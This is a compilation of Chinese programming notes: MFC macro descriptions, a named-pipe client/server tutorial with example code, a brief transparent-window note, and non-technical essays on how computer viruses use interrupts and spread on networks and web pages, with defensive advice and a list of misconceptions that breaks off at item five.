Visual C++MFC中常用宏的含义

AND_CATCHAND_CATCH
AND_CATCH(exception_class,exception _object_point_name)
说明:
定义一个代码块,它用于获取废除当前TRY块中的附加异常类型。使用CATCH宏以获得一个异常类型,然后
使用AND_CATCH宏获得随后的异常处理代码可以访问异常对象(若合适的话)已得到关于异常的特别原因的
更多消息。在AND_CATCH块中调用THROW_LAST宏以便把处理过程移到下个外部异常框架。AND_CATCH可标记
CATCH或AND_CATCH块的末尾。
 
注释:
AND_CATCH块被定义成为一个C++作用域(由花括号来描述)。若用户在此作用域定义变量,那么记住他们
只在此作用域中可以访问。他也用于exception_object_pointer_name变量。
 
 
 
ASSERT
ASSERT(booleanExpression)
说明:
计算变量的值。如果结构的值为0,那么此宏便打印一个诊断消息并且成讯运行失败。如果条件为非0,那
么什么也不做。 诊断消息的形式为: assertion failed in file in line 其中name是元文件名,num是
源文件中运行失败的中断号。 在Release版中,ASSERT不计算表达式的值也就不中断程序。如果必须计算
此表达式的值且不管环境如何那么用VERIFY代鍭SSERT。
注释:
ASSERT只能在Debug版中用
 
 
ASSERT_VAILD
ASSERT_VAILD(pObject)
说明:
用于检测关于对象的内部状态的有效性。ASSERT_VALID调用此对象的AssertValid成员函数(把它们作为
自己的变量来传递)。在Release版中ASSERT_VALID什么也不做。在DEBUG版中,他检查指针,以不同于
NULL的方式进行检查,并调用对象自己的AssertValid成员函数。如果这些检测中有任何一个失败的话,
那么他会以与ASSERT相同的方法显示一个警告的消息。
注释:
此函数只在DEBUG版中有效。
 
 
BEGIN_MESSAGE_MAP
BEGIN_MESSAGE_MAP(the class,baseclass)
说明:
使用BEGIN_MESSAGE_MAP开始用户消息映射的定义。在定义用户类函数的工具(.cpp)文件中,以
BEGIN_MESSAGE_MAP宏开始消息映射,然后为每个消息处理函数增加宏项,接着以END_MESSAGE_MAP宏完成
消息映射。
 
 
CATCH
CATCH(exception_class,exception_object_pointer_name)
说明:
使用此用定义一个代码块,此代码用来获取当前TRY块中都一个异常类型。异常处理代码可以访问异常对
象,如何合适的话,就会得到关于异常的特殊原因的更多消息。调用THROW_LAST宏以把处理过程一下一个
外部异常框架,如果exception-class是类CExceptioon,那么会获取所有异常类型。用户可以使用
CObject::IsKindOf成员函数以确定那个特别异常被排除。一种获取异常的最好方式是使用顺序的
AND_CATCH语句,每个带一个不同的异常类型。此异常类型的指针由宏定义,用户不必定义。
注释:
此CATCH块被定义作一个C++范围(由花括号描述)。如用户在此范围定义变量,那么它们只在吃范围内可
以访问。他还可以用于异常对象的指针名。
 
 
DEBUG_NEW
#define new DEBUG_NEW
说明:
帮助查找内存错误。用户在程序中使用DEBUG_NEW,用户通常使用new运算符来从堆上分配。在Debug模式下
(但定义了一个DEBUG符号),DEBUG_NEW为它分配的每个对象记录文件名和行号。然后,在用户使用
CMemoryState::DumpAllObjectSince成员函数时,每个以DEBUG_NEW分配的对象分配的地方显示出文件名
和行号。 为了使用DEBUG_NEW,应在用户的资源文件中插入以下指令: #define new DEBUG_NEW 一旦用户
插入本指令,预处理程序将在使用new的地方插入DEBUG_NEW,而MFC作其余的工作。但用户编译自己的程
序的一个发行版时,DEBUG_NEW便进行简单的new操作,而且不产生文件名和行号消息。
 
 
DECLARE_DYNAMIC
DECLARE_DYNAMIC(class_name)
说明:
但从CObject派生一个类时,此宏增加关于一个对象类的访问运行时间功能。把DECLARE_DYNAMIC宏加入类
的头文件中,然后在全部需要访问词类对象的.CPP文件中都包含此模块。如果像所描述那样使用
DELCARE_DYNAMIC和IMPLEMENT_DYNAMIC宏,那么用户便可使用RUNTIME_CLASS宏和CObject::IsKindOf函数
以在运行时间决定对象类。如果DECLARE_DYNAMIC包含在类定义中,那么IMPLEMETN_DYNAMIC必须包含在类
工具中。
 
 
DECLARE_DYNCREATE
DECLARE_DYNCREATE(class_name)
说明:
使用DECLARE_DYNCRETE宏以便允许CObject派生类的对象在运行时刻自动建立。主机使用此功能自动建立
新对象,例如,但它在串行化过程中从磁盘读一个对象时,文件及视图和框架窗应该支持动态建立,因为
框架需要自动建立它。把DECLARE_DYNCREATE宏加入类的.H文件中,然后在全部需要访问此类对象的.CPP
文件中包含这一模式。如果DECLARE_DYNCREATE包含在类定义中,那么IMPLEMENT_DYNCREATE必须包含在类
工具中。
 
 
DECLARE_MESSAGE_MAP
DECLARE_MESSAGE_MAP()
说明:
用户程序中的每个CCmdTarget派生类必须提供消息映射以处理消息。在类定义的末尾使用
DECLARE_MESSAGE_MAP宏。接着,在定义类成员函数的.CPP文件中,使用BEGIN_MESSAGE_MAP宏,每个用户
消息处理函数的宏项下面的列表以及END_MESSAGE_MAP宏。
注释:
如果在DECLARE_MESSAGE_MAP之后定义任何一个成员,那么必须为他们指定一个新存取类型(公共的,私
有的,保护的)。
 
 
DECLARE_SERIAL
DECLARE_SERIAL(class_name)
说明:
DECLARE_SERIAL为一个可以串行化的CObject派生类产生必要的C++标题代码。串行化是把某个对象的内容
从一个文件读出和写入一文件。在.H文件中使用DECLARE_SERIAL宏,接着在需要访问此类对象的全部.CPP
文件中包含此文件。如果DECLARE_SERIAL包含在类定义中,那么IMPLEMENT_SERIAL必须包含在类工具中。
DECLARE_SERIAL宏包含全部DECLARE_DYNAMIC,IMPLEMENT_DYCREATE的功能。
 
 
END_CATCH
END_CATCH
说明:
标识最后的CATCH或AND_CATCH块的末尾。
 
 
END_MESSAGE_MAP
END_MESSAGE_MAP
说明:
使用END_MESSAGE_MAP宏结束用户的消息映射定义
 
IMPLEMENT_DYNAMIC
IMPLEMENT_DYNAMIC(class_name,base_class_name)
说明:
通过运行时在串行结构中为动态CObject派生类访问类名和位置来产生必要的C++代码。在.CPP文件中使用
IMPLEMENT_DYNAMIC宏,接着一次链接结果对象代码
 
 
IMPLEMENT_DYNCREATE
IMPLEMENT_DYNCREATE(class_name,base_class_name)
说明:
通过DECLARE_DYNCREATE宏来使用IMPLEMENT_DYNCREATE宏,以允许CObject派生类对象在运行时自动建立
。主机使用此功能自动建立对象,例如,但它在串行化过程中从磁盘读去一个对象时,他在类工具里加入
IMPLEMENT_DYNCREATE宏。若用户使用DECLARE_DYNCREATE和IMPLEMENT_DYNCREATE宏,那么接着使用
RUNTIME_CLASS宏和CObject::IsKindOf成员函数以在运行时确定对象类。若declare_dyncreate包含在定
义中,那么IMPLEMENT_DYNCREATE必须包含在类工具中。
 
 
IMPLEMENT_SERIAL
IMPLEMENT_SERIAL(class_name,base_class_name,wSchema)
说明:
通过运行时在串行结构中动态CObject派生类访问类名和位置来建立必要的C++代码。在.CPP文件中使用
IMPLEMENT_SERIAL宏,然后一次链接结果对象代码。
 
 
ON_COMMAND
ON_COMMAND(id,memberFxn)
说明:
此宏通过ClassWizard或手工插入一个消息映射。它表明那个函数将从一个命令用户接口(例如一个菜单
项或toolbar按钮)处理一个命令消息。当一个命令对象通过指定的ID接受到一个Windows WM_COMMAND消
息时,ON_COMMAND将调用成员函数memberFxn处理此消息。在用户的消息映射中,对于每个菜单或加速器
命令(必须被映射到一个消息处理函数)应该确实有一个ON_COMMAND宏语句。
 
 
ON_CONTROL
ON_CONTROL(wNotifyCode,id,memberFxn)
说明:
表明哪个函数将处理一个常规控制表示消息。控制标识消息是那些从一个控制夫发送到母窗口的消息。
 
 
ON_MESSAGE
ON_MESSAGE(message,memberFxn)
说明:
指明哪个函数将处理一用户定义消息。用户定义消息通常定义在WM_USER到0x7FF范围内。用户定义消息是
那些不是标准Windows WM_MESSAGE消息的任何消息。在用户的消息映射中,每个必须被映射到一个消息处
理函数。用户定义消息应该有一个ON_MESSAGE宏语句。
 
 
ON_REGISTERED_MESSAGE
ON_REGISTERED_MESSAGE(nmessageVarible,memberFxn)
说明:
Windows的RegisterWindowsMesage函数用于定义一个新窗口消息,此消息保证在整个系统中是唯一的。此
宏表明哪个函数处理已注册消息。变量nMessageViable应以NEAR修饰符来定义。
 
 
ON_UPDATE_COMMAND_UI
ON_UPDATE_COMMAND_UI(id,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个用户接口个更改命令消息。
在用户的消息映射中,每个用户接口更改命令(比讯被映射到一个消息处理函数)应该有一个
ON_UPDATE_COMMAND_UI宏语句。
 
 
ON_VBXEVENT
ON_VBXEVENT(wNotifyCode,memberFxn)
说明:
此宏通常通过ClassWizard被插入一个消息映射,以指明哪个函数将处理一个来自VBX控制的消息。在用户
的消息映射中每个被映射到一消息处理函数的VBX控制消息应该有一个宏语句。
 
 
RUNTIME_CLASS
RUNTIME_CLASS(class_name)
说明:
使用此宏从c++类民众获取运行时类结构。RUNTIME_CLASS为由class_name指定的类返回一个指针到
CRuntimeClass结构。只有以DECLARE_DYNAMIC,DECLARE_DYNCREATE或DECLARE_SERIAL定义的CObject派生
类才返回到一个CRuntimeClass结构的指针。
 
 
THROW
THROW(exception_object_pointer)
说明:
派出指定的异常。THROW中断程序的运行,把控制传递给用户程序中的相关的CATCH块。如果用户没有提供
CATCH块,那么控制被传递到一个MFC模块,他打印出一个错误并终止运行。
 
 
THROW_LAST
THROW_LAST()
说明:
此宏允许用户派出一个局部建立的异常。如果用户试图排除一个刚发现的异常,那么一般此异常将溢出并
被删除。使用THROW_LAST,此异常被直接传送到下一个CATCH处理程序。
 
 
TRACE
TRACE(exp)
说明:
把一个格式化字符串送到转储设备,例如,文件或调试监视器,而提供与printf相似的功能。同MS_DOS下
C程序的printf一样,TRACE宏是一个在程序运行时跟踪变量值的方便形式。在DEBUG环境中,TRACE宏输出
到afxDump。在Release版中他不做任何工作。
注释:
此宏只在MFC的DEBUG版中有效。
 
 
TRACE0
TRACE0(exp)
说明:
与TRACE相似,但他把跟踪字符串放在代码段中,而不是DGROUP,因此使用少的DGROUP空间。TRACE0是一组
跟踪宏的一个变体,这些宏可用于调试输出。这一组包括TRACE0,TRACE1,TRACE2和TRACE3,这些宏不同在
于所取参数的数目不同。TRACE0只取一个格式化字符串并可用于简单文本消息。TRACE1取一格式化字符串
加上一个变量——一个将转储的变量。同样,TRACE2,TRACE3分别取2个或3个参数(在格式化字符串之后
)。如果用户以便以了应用程序的发行版,那么它只把数据转储到afxDump。
注释:
此宏只在MFC的DEBUG中有效。
 
 
TRACE1
TRACE1(exp,param1)
说明:
参见TRACE0
 
 
TRACE2
TRACE2(exp,param1,param2)
说明:
参见TRACE0
 
 
TRACE3
TRACE3(exp,param1,param2,param3)
说明:
 
 
TRY
TRY
说明:
使用此宏建立一TRY块。一个TRY识别一个可排除异常的代码块。这些异常在随后的CATCH和AND_CATCH块处
理。传递是允许的:异常可以传递一个外部TRY块,或者忽略它们或者使用THROW_LAST宏。
 
 
VERIFY
VERIFY(booleanExpression)
说明:
在MFC的DEBUG版中,VERIFY宏计算它的变量值。 如果结果为0,那么宏打印一个诊断消息并中止程序。如
果条件不为0,那么什么工作也不作。 诊断有如下形式: assertion failed in file in line 其中name
是源文件的名字,num是在源文件中失败的中止行号。在MFC的Release版中,VERIFY计算表达式值但不打
印或中止程序。例如:如果表达式是个函数调用,那么调用成功。
 

进程间通信-命名管道


  • 命名管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。我们在不了解网络协议的情况下,也可以利用命名管道来实现进程间的通信。

  • 命名管道充分利用了Windows NT和Windows 2000内建的安全机制。

  • 将命名管道作为一种网络编程方案时,它实际上建立了一个客户机/服务器通信体系,并在其中可靠地传输数据。

  • 命名管道是围绕Windows文件系统设计的一种机制,采用“命名管道文件系统(Named Pipe File System,NPFS)”接口,因此,客户机和服务器可利用标准的Win32文件系统函数(例如:ReadFile和WriteFile)来进行数据的收发。

  • 命名管道服务器和客户机的区别在于:服务器是唯一一个有权创建命名管道的进程,也只有它才能接受管道客户机的连接请求。而客户机只能同一个现成的命名管道服务器建立连接。

  • 命名管道服务器只能在Windows NT或Windows 2000上创建,所以,我们无法在两台Windows 95或Windows 98计算机之间利用管道进行通信。不过,客户机可以是Windows 95或Windows 98计算机,与Windows NT或Windows 2000计算机进行连接通信。

  • 命名管道提供了两种基本通信模式:字节模式和消息模式。在字节模式中,数据以一个连续的字节流的形式,在客户机和服务器之间流动。而在消息模式中,客户机和服务器则通过一系列不连续的数据单位,进行数据的收发,每次在管道上发出了一条消息后,它必须作为一条完整的消息读入。


①HANDLE CreateNamedPipe (
  LPCTSTR lpName,         // pointer to pipe name
  DWORD dwOpenMode,       // pipe open mode
  DWORD dwPipeMode,       // pipe-specific modes
  DWORD nMaxInstances,    // maximum number of instances
  DWORD nOutBufferSize,   // output buffer size, in bytes
  DWORD nInBufferSize,    // input buffer size, in bytes
  DWORD nDefaultTimeOut,  // time-out time, in milliseconds
  LPSECURITY_ATTRIBUTES lpSecurityAttributes  // pointer to security attributes
);


(The CreateNamedPipe function creates an instance of a named pipe and returns a handle for subsequent pipe operations. A named pipe server process uses this function either to create the first instance of a specific named pipe and establish its basic attributes or to create a new instance of an existing named pipe. If the function succeeds, the return value is a handle to the server end of a named pipe instance. If the function fails, the return value is INVALID_HANDLE_VALUE. To get extended error information, call GetLastError. The return value is ERROR_INVALID_PARAMETER if nMaxInstances is greater than  PIPE_UNLIMITED_INSTANCES.)


lpName
Pointer to the null-terminated string that uniquely identifies the pipe. The string must have the following form:
\\.\pipe\pipename
以\\开始,这里 . 表示本地机器,,如果用连接到远程机器则需要填写远程主机得名字,pipe是pipe硬编码,不用修改,直接填pipe就可以了,pipename是创建的管道的名字。


nDefaultTimeOut
Specifies the default time-out value, in milliseconds, if the WaitNamedPipe function specifies NMPWAIT_USE_DEFAULT_WAIT. Each instance of a named pipe must specify the same value.

 

 

②BOOL ConnectNamedPipe (
  HANDLE hNamedPipe,          // handle to named pipe to connect
  LPOVERLAPPED lpOverlapped   // pointer to overlapped structure
);


(The ConnectNamedPipe function enables a named pipe server process to wait for a client process to connect to an instance of a named pipe. A client process connects by calling either the CreateFile or CallNamedPipe function. If the function succeeds, the return value is nonzero.If the function fails, the return value is zero. To get extended error information, call GetLastError.)
注意这个函数的名字容易引起歧义,仔细参见函数说明。这里参数lpOverlapped是有用的。

 

 

③typedef struct _OVERLAPPED { // o
    DWORD  Internal;
    DWORD  InternalHigh;
    DWORD  Offset;
    DWORD  OffsetHigh;
    HANDLE hEvent;
} OVERLAPPED;


hEvent
Handle to an event set to the signaled state when the transfer has been completed. The calling process sets this member before calling the ReadFile, WriteFile, ConnectNamedPipe, or TransactNamedPipe function.

 

 

④BOOL WaitNamedPipe(
  LPCTSTR lpNamedPipeName,  // pointer to name of pipe for which to wait
  DWORD nTimeOut            // time-out interval, in milliseconds
);


(The WaitNamedPipe function waits until either a time-out interval elapses or an instance of the specified named pipe is available to be connected to (that is, the pipe’s server process has a pending ConnectNamedPipe operation on the pipe)).


lpNamedPipeName
Pointer to a null-terminated string that specifies the name of the named pipe. The string must include the name of the computer on which the server process is executing. A period may be used for the servername if the pipe is local. The following pipe name format is used:
\\servername\pipe\pipename

 

 


Eg:
服务端:

void CNamedPipeSrvView::OnPipeCreate()
{
 hPipe=CreateNamedPipe(“\\\\.\\pipe\\MyPipe“,
  PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
  0,1,1024,1024,0,NULL);
 if(INVALID_HANDLE_VALUE==hPipe)
 {
  MessageBox(“创建命名管道失败!”);
  hPipe=NULL;
  return;
 }
 HANDLE hEvent;
 hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);
 if(!hEvent)
 {
  MessageBox(“创建事件对象失败!”);
  CloseHandle(hPipe);
  hPipe=NULL;
  return;
 }
 OVERLAPPED ovlap;
 ZeroMemory(&ovlap,sizeof(OVERLAPPED));
 ovlap.hEvent=hEvent;
 if(!ConnectNamedPipe(hPipe,&ovlap))
 {
  if(ERROR_IO_PENDING!=GetLastError())
  {
   MessageBox(“等待客户端连接失败!”);
   CloseHandle(hPipe);
   CloseHandle(hEvent);
   hPipe=NULL;
   return;
  }
 }
 if(WAIT_FAILED==WaitForSingleObject(hEvent,INFINITE))
 {
  MessageBox(“等待对象失败!”);
  CloseHandle(hPipe);
  CloseHandle(hEvent);
  hPipe=NULL;
  return;
 }
 CloseHandle(hEvent);
}

void CNamedPipeSrvView::OnPipeRead()
{
 char buf[100];
 DWORD dwRead;
 if(!ReadFile(hPipe,buf,100,&dwRead,NULL))
 {
  MessageBox(“读取数据失败!”);
  return;
 }
 MessageBox(buf);
}

void CNamedPipeSrvView::OnPipeWrite()
{
 char buf[]=”Hello named pipe!”;
 DWORD dwWrite;
 if(!WriteFile(hPipe,buf,strlen(buf)+1,&dwWrite,NULL))
 {
  MessageBox(“写入数据失败!”);
  return;
 }
}

 

 

 

 

 

 

 

 

 

客户端:
void CNamedPipeCltView::OnPipeConnect()
{
 if(!WaitNamedPipe(“\\\\.\\pipe\\MyPipe”,NMPWAIT_WAIT_FOREVER))
 {
  MessageBox(“当前没有可利用的命名管道实例!”);
  return;
 }
 hPipe=CreateFile(“\\\\.\\pipe\\MyPipe”,GENERIC_READ | GENERIC_WRITE,
  0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
 if(INVALID_HANDLE_VALUE==hPipe)
 {
  MessageBox(“打开命名管道失败!”);
  hPipe=NULL;
  return;
 }
}

void CNamedPipeCltView::OnPipeRead()
{
 char buf[100];
 DWORD dwRead;
 if(!ReadFile(hPipe,buf,100,&dwRead,NULL))
 {
  MessageBox(“读取数据失败!”);
  return;
 }
 MessageBox(buf);
}

void CNamedPipeCltView::OnPipeWrite()
{
 char buf[]=”命名管道测试程序”;
 DWORD dwWrite;
 if(!WriteFile(hPipe,buf,strlen(buf)+1,&dwWrite,NULL))
 {
  MessageBox(“写入数据失败!”);
  return;
 }
}




Modified At 2008-03-27 20:52:48

Visual C++实现透明窗体

简单介绍一下SetLayeredWindowAttributes:

 

 

 

一些常量:

  WS_EX_LAYERED = 0x80000;
  LWA_ALPHA = 0x2;

  LWA_COLORKEY=0x1

  其中dwFlags有LWA_ALPHA和LWA_COLORKEY。LWA_ALPHA被设置的话,通过bAlpha决定透明度,LWA_COLORKEY被设置的话,则指定被透明掉的颜色为crKey,其他颜色则正常显示。

  注:要使使窗体拥有透明效果,首先要有WS_EX_LAYERED扩展属性(旧sdk也没有的)。

 

例子代码:

  在OnInitDialog()加入:

 




以上是通过“未公开”api的使用的方法来使用的。

中断与计算机病毒

1.中断基本概念

什么是中断?先打个比方。当一个经理正处理文件时,电话铃响了(中断请求),不得不在文件上做一个记号(返 回地址),暂停工作,去接电话(中断),并指示“按第二方案办”(调中断服务程序),然后,再静下心来(恢复中 断前状态),接着处理文件……。计算机科学家观察了类似实例,“外师物化,内得心源”,借用了这些思想、处理方 式和名称,研制了一系列中断服务程序及其调度系统。
中断是CPU处理外部突发事件的一个重要技术。它能使CPU在运行过程中对外部事件发出的中断请求及时地进行处理, 处理完成后又立即返回断点,继续进行CPU原来的工作。引起中断的原因或者说发出中断请求的来源叫做中断源。 根据 中断源的不同,可以把中断分为硬件中断和软件中断两大类,而硬件中断又可以分为外部中断和内部中断两类。
外部中断一般是指由计算机外设发出的中断请求,如:键盘中断、打印机中断、定时器中断等。外部中断是可以屏 蔽的中断,也就是说,利用中断控制器可以屏蔽这些外部设备的中断请求。
内部中断是指因硬件出错(如突然掉电、奇偶校验错等)或运算出错(除数为零、运算溢出、单步中断等)所引起 的中断。内部中断是不可屏蔽的中断。
软件中断其实并不是真正的中断,它们只是可被调用执行的一般程序。例如:ROMBIOS 中的各种外部设备管理中断 服务程序(键盘管理中断、显示器管理中断、打印机管理中断等),以及DOS的系统功能调用(INT 21H)等都是软件中 断。
CPU为了处理并发的中断请求,规定了中断的优先权/中断优先权由高到低的顺序是:
(1)除法错、溢出中断、软件中断
(2)不可屏蔽中断
(3)可屏蔽中断
(4)单步中断。

2.中断与计算机病毒
 
计算机操作系统是开放的,用户可以修改扩充操作系统,在计算机上实现新的功能。修改操作系统的主要方式之一 是扩充中断功能。
计算机提供很多中断,合理合法地修改中断会给计算机增加非常有用的新功能。如INT 10H是屏幕显示中断, 原只能显示西文,而在各种汉字系统中都可以通过修改1NT 10H使计算机能够显示中文。另一方面, 计算机病毒则篡改中断 为其达到传染、激发等目的服务,与病毒有关的重要中断有: INT 08H和INT 1CH定时中断,每秒调用18.2次,有些病毒利用它们的记时判断激发条件。
INT 09H键盘输入中断,病毒用于监视用户击键情况。
INT 10H屏幕输入输出中断,一些病毒用于在屏幕上显示字符图形表现自己。
INT 13H磁盘输入输出中断,引导型病毒用于传染病毒和格式化磁盘。
INT 21H DOS功能调用,包含了DOS的大部分功能,已发现的绝大多数文件型病毒修改
INT 21H中断, 因此也成为防 病毒的重点监视部位。
INT 24H DOS的严重错误处理中断,文件型病毒常进行修改,以防止传染写保护磁盘时被发现。 中断子程序的人口地址存放在计算机内存的最低端,病毒窃取和修改中断的人口地址获得中断的控制权,在中断服 务过程中插入病毒的“私货”。
总之,中断可以被用户程序所修改,从而使得中断服务程序被用户指定的程序所替代。这样虽然大大地方便了用户, 但也给计算机病毒制造者以可乘之机。病毒正是通过修改中断以使该中断指向病毒自身来进行发作和传染的。

局域网病毒入侵原理、现象及防范方法

一、局域网病毒入侵原理及现象
 
一般来说,计算机网络的基本构成包括网络服务器和网络节点站(包括有盘工作站、无盘工作站和远程工作站)。计算机病毒一般首先通过各种途径进入到有盘工作站,也就进入网络,然后开始在网上的传播。具体地说,其传播方式有以下几种。
(1)病毒直接从工作站拷贝到服务器中或通过邮件在网内传播;
(2)病毒先传染工作站,在工作站内存驻留,等运行网络盘内程序时再传染给服务器;
(3)病毒先传染工作站,在工作站内存驻留,在病毒运行时直接通过映像路径传染到服务器中;
(4)如果远程工作站被病毒侵入,病毒也可以通过数据交换进入网络服务器中。
 
一旦病毒进入文件服务器,就可通过它迅速传染到整个网络的每一个计算机上。而对于无盘工作站来说,由于其并非真的”无盘”(它的盘是网络盘),当其运行网络盘上的一个带毒程序时,便将内存中的病毒传染给该程序或通过映像路径传染到服务器的其他的文件上,因此无盘工作站也是病毒孽生的温床。
 
由以上病毒在网络上的传播方式可见,在网络环境下,网络病毒除了具有可传播性、可执行性、破坏性等计算机病毒的共性外,还具有一些新的特点。
(1)感染速度快
在单机环境下,病毒只能通过介质从一台计算机带到另一台,而在网络中则可以通过网络通讯机制进行迅速扩散。根据测定,在网络正常工作情况下,只要有一台工作站有病毒,就可在几十分钟内将网上的数百台计算机全部感染。
(2)扩散面广
由于病毒在网络中扩散非常快,扩散范围很大,不但能迅速传染局域网内所有计算机,还能通过远程工作站将病毒在一瞬间传播到千里之外。
(3)传播的形式复杂多样
计算机病毒在网络上一般是通过”工作站”到”服务器”到”工作站”的途径进行传播的,但现在病毒技术进步了不少,传播的形式复杂多样。
(4)难于彻底清除
单机上的计算机病毒有时可以通过带毒文件来解决。低级格式化硬盘等措施能将病毒彻底清除。
而网络中只要有一台工作站未能清除干净,就可使整个网络重新被病毒感染,甚至刚刚完成杀毒工作的一台工作站,就有可能被网上另一台带毒工作站所感染。因此,仅对工作站进行杀毒,并不能解决病毒对网络的危害。
(5)破坏性大
网络病毒将直接影响网络的工作,轻则降低速度,影响工作效率,重则使网络崩溃,破坏服务器信息,使多年工作毁于一旦。
(6)可激发性
网络病毒激发的条件多样化,可以是内部时钟、系统的日期和用户名,也可以是网络的一次通信等。一个病毒程序可以按照病毒设计者的要求,在某个工作站上激发并发出攻击。
(7)潜在性

网络一旦感染了病毒,即使病毒已被清除,其潜在的危险性也是巨大的。根据统计,病毒在网络上被清除后,85%的网络在30天内会被再次感染。
例如尼姆达病毒,会搜索本地网络的文件共享,无论是文件服务器还是终端客户机,一旦找到,便安装一个隐藏文件,名为Riched20.DLL到每一个包含”DOC”和”eml”文件的目录中,当用户通过Word、写字板、Outlook打开”DOC”和”eml”文档时,这些应用程序将执行Riched20.DLL文件,从而使机器被感染,同时该病毒还可以感染远程服务器被启动的文件。带有尼姆达病毒的电子邮件,不需你打开附件,只要阅读或预览了带病毒的邮件,就会继续发送带毒邮件给你通讯簿里的朋友。
 
二、局域网病毒防范方法
 
以”尼姆达”病毒为例,个人用户感染该病毒后,使用单机版杀毒软件即可清除;然而企业的网络中,一台机器一旦感染”尼姆达”,病毒便会自动复制、发送并采用各种手段不停交叉感染局域网内的其他用户。
计算机病毒形式及传播途径日趋多样化,因此,大型企业网络系统的防病毒工作已不再像单台计算机病毒的检测及清除那样简单,而需要建立多层次的、立体的病毒防护体系,而且要具备完善的管理系统来设置和维护对病毒的防护策略。
一个企业网的防病毒体系是建立在每个局域网的防病毒系统上的,应该根据每个局域网的防病毒要求,建立局域网防病毒控制系统,分别设置有针对性的防病毒策略。

(1)增加安全意识
杜绝病毒,主观能动性起到很重要的作用。病毒的蔓延,经常是由于企业内部员工对病毒的传播方式不够了解,病毒传播的渠道有很多种,可通过网络、物理介质等。查杀病毒,首先要知道病毒到底是什么,它的危害是怎么样的,知道了病毒危害性,提高了安全意识,杜绝毒瘤的战役就已经成功了一半。平时,企业要从加强安全意识着手,对日常工作中隐藏的病毒危害增加警觉性,如安装一种大众认可的网络版杀毒软件,定时更新病毒定义,对来历不明的文件运行前进行查杀,每周查杀一次病毒,减少共享文件夹的数量,文件共享的时候尽量控制权限和增加密码等,都可以很好地防止病毒在网络中的传播。
(2)小心邮件
随着网络的普及,电子信箱成了人们工作中不可缺少的一种媒介。它方便快捷在提高了人们的工作效率的同时,也无意之中成为了病毒的帮凶。有数据显示,如今有超过90%的病毒通过邮件进行传播。
尽管这些病毒的传播原理很简单,但这块决非仅仅是技术问题,还应该教育用户和企业,让它们采取适当的措施。例如,如果所有的Windows用户都关闭了VB脚本功能,像库尔尼科娃这样的病毒就不可能传播。只要用户随时小心警惕,不要打开值得怀疑的邮件,就可把病毒拒绝在外。
(3)挑选网络版杀毒软件
选择一个功力高深的网络版病毒”杀手”就至关重要了。一般而言,查杀是否彻底,界面是否友好、方便,能否实现远程控制、集中管理是决定一个网络杀毒软件的三大要素。

网页病毒的概念

     1、什么是网页病毒?
   它主要是利用软件或系统操作平台等的安全漏洞,通过执行嵌入在网页HTML超文本标记语言内的Java Applet小应用程序,JavaScript脚本语言程序,ActiveX软件部件网络交互技术支持可自动执行的代码程序,以强行修改用户操作系统的注册表设置及系统实用配置程序,或非法控制系统资源盗取用户文件,或恶意删除硬盘文件、格式化硬盘为行为目标的非法恶意程序。
 
   2、网页病毒的性质及特点:
   这种非法恶意程序能够得以被自动执行,在于它完全不受用户的控制。你一旦浏览含有该病毒的网页,即可以在你不知不觉的情况下马上中招,给用户的系统带来一般性的、轻度性的、严重恶性等不同程度的破坏。令你苦不堪言,甚至损失惨重无法弥补。 网页病毒的种类
   根据目前互联网上流行的常见网页病毒的作用对象及表现特征,归纳为以下两大种类:
 
   一、通过Java Script、Applet、ActiveX编辑的脚本程序修改IE浏览器:
   1.默认主页被修改;
   2.默认首页被修改;
   3.默认的微软主页被修改;
   4.主页设置被屏蔽锁定,且设置选项无效不可改回;
   5.默认的IE搜索引擎被修改;
   6.IE标题栏被添加非法信息
   7.OE标题栏被添加非法信息;
   8.鼠标右键菜单被添加非法网站广告链接;
   9.鼠标右键弹出菜单功能被禁用失常;
   10.IE收藏夹被强行添加非法网站的地址链接;
   11.在IE工具栏非法添加按钮;
   12.锁定地址下拉菜单及其添加文字信息;
   13.IE菜单“查看”下的“源文件”被禁用;
 
   二、通过Java Script、Applet、ActiveX编辑的脚本程序修改用户操作系统:
   1.开机出现对话框;
   2.系统正常启动后,但IE被锁定网址自动调用打开;
   3.格式化硬盘
   4.暗藏“万花谷”蛤蟆病毒,全方位侵害封杀系统,最后导致瘫痪崩溃;
   5.非法读取或盗取用户文件;
   6.锁定禁用注册表;
   7.注册表被锁定禁用之后,编辑*.reg注册表文件打开方式错乱;
   8.时间前面加广告;
   9.启动后首页被再次修改;
   10.更改“我的电脑”下的一系列文件夹名称。

纠正14条查杀电脑病毒的错误认识

1、对染毒软盘DIR操作会导致硬盘被感染(错)
 
如果计算机的内存没有病毒,那么只有在执行了带有病毒的程序(文件)后,才会感染计算机。而DIR命令是DOS的内部命令,不需要执行任何外部的程序(文件),因此对染毒软盘进行DIR操作不会感染病毒。
不过需要注意的是,如果计算机内存已有病毒(或者说计算机已染毒),如果对没有染毒的软盘进行DIR操作, 就可能感染软盘。说可能会感染是因为有些病毒不会通过DIR操作传播。
 
2、将文件改为只读方式可免受病霉的感染(错)
 
某些人认为通过DOS的外部命令ATTRIB,将文件设置为只读会十分有效地抵御病毒。 其实修改一个文件的属性只需要调用几个DOS中断就可以了,因此说ATTRIB命令对于阻止病毒的感染及传播几乎无能为力。
 
3、病毒能感染写保护的磁盘(错)
 
由于病毒可感染只读文件,不少人由此认为病毒也能修改在写保护磁盘上的文件。事实上,磁盘驱动器可以判断磁盘是否写保护,是否应该对其进行写操作,这一切都是由硬件来控制的,您可以物理地解除PC的写保护传感器,却不能用软件来做这件事。
如果您的软驱是正常的,而软盘的写保护一次也没有取下来,绝对不会感染病毒。但是如果您取下来了,并且用带毒的机器DIR过,则完全有可能感染病毒。注意这个DIR是从机器向软盘感染病毒,而不是把病毒从软盘传染到机器。
 
写保护和文件只读方式不同,设置文件只读方式是通过计算机,所以病毒能插上一手,可是写保护非要人手参与不可,病毒可没办法把写保护弄掉。计算机不能对写保护磁盘进行改写,这是任何操作都无法改变的(除非您把驱动器弄坏)。
 
4、反病毒软件能够杀除所有已知病毒(错)
 
病毒感染方式很多,有些病毒会强行覆盖执行程序的某一部分,将自身代码嵌入其中,以达到不改变被感染文件长度的目的,被这样的病毒覆盖掉的代码无法复原,因此这种病毒是无法安全杀除的。 病毒破坏了文件的某些内容, 在杀除这种病毒后是不能恢复文件的原貌的。
 
 5、使用杀毒软件可以免受病毒的侵扰(错)
 
